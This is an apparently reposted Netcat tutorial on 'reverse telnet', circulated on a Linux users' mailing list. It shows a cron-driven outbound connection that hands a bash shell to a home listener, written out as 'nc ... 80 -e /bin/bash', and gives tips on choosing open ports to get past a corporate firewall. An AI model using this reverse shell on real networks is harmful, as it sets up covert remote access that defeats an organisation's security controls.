http://www.oreillynet.com/cs/user/print/a/3771
Reverse Telnet As we have such a generic tool, capable of many things, we can try something nastier (and thus more useful). Consider a nice computer, with broadband network access, behind some firewall (as all useful computers are) in our office. The firewall will not allow any outside connections, only those queried from inside. This computer seems impossible to reach. To begin with, the computer would not have a real IP that we could just type and reach; it is behind a router and firewall, using their IPs instead. Now what if we want to log into this computer and use it remotely, perhaps grabbing some files we forgot to bring home to work on tonight? We want all this with minimum security breach. Sounds like a challenge. As we saw before, telnet worked with one machine waiting for a connection and the other connecting to it and giving commands. Telnet will not do the job here; not only are all ports of the corporate firewall blocked, the machine we want to reach does not even have a legal IP. Our technique should do just the reverse. We have a server whose only allowed outside connection is port 80 for daily use, but it doesn't have an outside IP address. The other computer at home probably has a real IP and whatever ports you want are open at your request. Reversing the roles would solve our problems: make our computer at work connect to the home computer, taking commands from the client and performing them on the server. It's the reverse of usual telnet, so we call it Reverse Telnet. First, let's name the machines. The one at work is called WORK and the one at home is called HOME. If we do not have a permanent IP at home (a dialup user usually) we should get a dynamic DNS name. Lots of organizations provide them, most at no charge such as dyndns.org. We do this because in order to connect to home computer we must know its IP (or domain name) beforehand. At the work computer, we'll set up a cron job to start at 22:01. Just as in the telnet example it connects to myhome.dyndns.org (our dynamic DNS address) and starts bash. And at home just at 22:00 or so we start: $ nc -vv -l -p 80 to begin listening on port 80 for incoming connections. At 22:01, WORK connects to HOME, starts bash and says 'Master!' Bingo. We are connected to WORK (or vice versa), and WORK is ready to operate any command we want. We can try this at our virtual network (lo:1 and lo:2). To start the client listening for a connection: $ nc -vv -l -p 80 To make a connection from the server: $ nc 10.0.1.1 80 -e /bin/bash It is very simple and efficient, because we only use outgoing port 80, the most widely used port because it is used for web access. No one would block port 80 because everyone needs web access. They can force you to use a local proxy for that, but you can use another port like 21 or 23 which are harder to put behind a proxy. If you have Internet access you should be able to find at least one open port. Netcat has lots of other uses with which you can experiment through the loopback interface setup. As long as you know the TCP/IP machine and basics of the protocols, there is virtually no limit to what you can do with Netcat. In the future, I will describe some other daily (arcane ;) uses of Netcat, Cryptcat, and maybe their complicated and powerful cousin SoCat. ============================================================================ A mail-list of Linux Users Group - Bulgaria (bulgarian linuxers). http://www.linux-bulgaria.org - Hosted by Internet Group Ltd. - Stara Zagora To unsubscribe: http://www.linux-bulgaria.org/public/mail_list.html ============================================================================
